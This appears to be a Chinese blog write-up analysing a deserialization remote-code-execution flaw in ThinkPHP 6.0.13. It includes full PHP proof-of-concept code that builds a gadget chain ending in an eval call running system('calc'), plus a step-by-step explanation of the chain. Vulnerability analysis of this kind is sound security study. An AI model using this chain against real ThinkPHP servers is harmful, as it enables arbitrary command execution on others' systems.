原poc链接:https://github.com/top-think/framework/issues/2749
think PHP 6.0.13下载
composer create-project topthink/think tp
poc源码
<?php
namespace League\Flysystem\Cached\Storage{
class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp)
{
$this->pool = $exp;
}
}
}
namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp)
{
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct()
{
$this->url = '<?php system(\'calc\'); exit(); ?>';
}
}
class App{
protected $instances = [];
public function __construct()
{
$this->instances = ['think\Request'=>new Request()];
}
}
}
namespace think\view\driver{
class Php{}
}
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
protected $clientArg = [];
public function __construct()
{
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
];
$this->app = new \think\App();
$this->clientArg = ['tabid'=>'1'];
}
}
}
namespace{
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
echo base64_encode(serialize($a));
}
分析
从POC开始分析
起始类是Psr6Cache类,但是在Psr6Cache类中没有发现__destruct()方法,在定义类的地方发现其继承了AbstractCache类。通过全局查找__destruct方法定位到src/Storage/AbstractCache.php
这里对autosave变量进行判断是否为false,$autosave是成员变量可以控制,后调用了save方法,跟进save方法
调用了pool的getItem方法,这里AbstractCache->pool是可控的,找一下__call方法,根据POC找到Channel.php
调用了log方法,再跟进record方法(记录日志信息)
在record方法中的前三个判断都可以过,主要看第四个判断,因为这里是要利用$this->save方法
$lazy默认是true不可控,但是$this->lazy是成员变量可控,因此可以进入save方法。继续 跟进save方法。
在save方法判断了$this-event是否有值,这里默认是没有的,可以跳过,到$this->logger->save()
这里调用了$this->logger记录器的save方法,然而这里的logger是成员变量,是可控的。根据POC可以发现这里利用了socket的save方法
namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp)
{//$exp=new socket()
$this->logger = $exp;
$this->lazy = false;
}
}
}
全局找一下save方法,继续跟进socket的save方法
这里首先对自身进行了检查,不通过就返回false,这里我们必须要check方法返回true,跟进check方法。check方法的主要功能是获取用户输入的taid参数、检查是否记录日志和用户认证。
这里看一下检查request实例对象的分支
这里在POC中给了App中request的实例对象
再回到socket的save方法
判断debug是否开启,这里可控。这里有判断了$this->app的request实例对象是否存在,这里可以直接进入,然后获取request实例对象的url的值(这个值是重点)。然后判断this->config['format_head']是否存在,存在的话就调用$this->app的inoke方法,尝试调用反射执行this->config['format_head']的方法,参数是$currentUri。在这里我们只要找到可以执行危险操作的危险函数,并将其控制到this->config['format_head']里面就可以进行RCE了。而这个config是一个成员变量,是可控的,因此只要寻找危险方法就可以了。这里POC找的是Php类的display方法,里面存在eval函数。
POC通过控制config即可控制程序执行到Php类的display方法。
在POC中控制了App对象中request实例对象的url的值
(socket)$this->app->request->url='<?php system(\'calc\'); exit(); ?>']
在display方法中执行eval('?><?php system(\'calc\'); exit(); ?>'),成功调用系统计算器
此次反序列化漏洞主要需要控制的点,是在Socket类中的变量控制,和Php中的display方法的利用。还要一点就是在构造POC时Psr6Cache类的pool变量必须要写在前面,否则生成的payload是无效的。。。自己在仿造POC时调试了很久。
此次分析就到这吧,感谢秋秋晚的指点
参考:TP6.0.13反序列化简单分析 - 秋秋晚
版权归原作者 qq_60481227 所有, 如有侵权,请联系我们删除。